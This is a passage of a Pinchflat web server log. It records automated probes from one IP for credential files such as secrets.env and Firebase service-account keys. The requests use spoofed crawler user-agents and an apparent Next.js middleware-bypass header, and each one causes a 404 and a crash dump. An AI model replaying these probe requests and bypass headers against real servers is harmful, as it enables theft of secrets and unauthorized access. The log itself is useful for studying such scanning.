s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.654 [debug] QUERY OK source="settings" db=0.0ms idle=70.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.654 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:06.654 [info] GET /secrets.env 16:49:06.655 [debug] QUERY OK source="settings" db=0.1ms idle=70.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.655 [debug] QUERY OK source="settings" db=0.0ms idle=46.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.655 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:06.654 [error] #PID<0.29621.0> running PinchflatWeb.Endpoint (connection #PID<0.29620.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /serviceAccountKey.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /serviceAccountKey (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29620.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/serviceAccountKey.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33766}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29621.0>, params: %{}, path_info: ["serviceAccountKey"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/serviceAccountKey.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61X8eqNgWfnsABv5B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29620.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/serviceAccountKey.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33766}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /serviceAccountKey (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29620.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/serviceAccountKey.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33766}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", (truncated) 16:49:06.655 [error] #PID<0.29623.0> running PinchflatWeb.Endpoint (connection #PID<0.29622.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /secrets.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29622.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33780}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29623.0>, params: %{}, path_info: ["secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/secrets.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61X8ngEDUaL0ABv5h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29622.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33780}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29622.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33780}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, ha (truncated) 16:49:06.709 [info] GET /service_account.json 16:49:06.709 [debug] QUERY OK source="settings" db=0.0ms idle=101.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.710 [debug] QUERY OK source="settings" db=0.0ms idle=55.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.710 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:06.710 [error] #PID<0.29625.0> running PinchflatWeb.Endpoint (connection #PID<0.29624.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /service_account.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /service_account (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29624.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/service_account.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33794}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29625.0>, params: %{}, path_info: ["service_account"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/service_account.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61YJrj9a-EZkABv6B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29624.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/service_account.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33794}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /service_account (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29624.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/service_account.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33794}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", (truncated) 16:49:06.715 [info] GET /firebase-adminsdk.json 16:49:06.715 [debug] QUERY OK source="settings" db=0.0ms idle=61.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.716 [debug] QUERY OK source="settings" db=0.0ms idle=60.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:06.716 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:06.716 [error] #PID<0.29627.0> running PinchflatWeb.Endpoint (connection #PID<0.29626.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /firebase-adminsdk.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /firebase-adminsdk (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29626.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/firebase-adminsdk.json", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 33808}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29627.0>, params: %{}, path_info: ["firebase-adminsdk"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Bytespider; spider-feedback@bytedance.com) AppleWebKit/537.36"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/firebase-adminsdk.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61YLIdG0K5ngABv6h"} ], scheme: :http, script_name: [], secret_key_base: 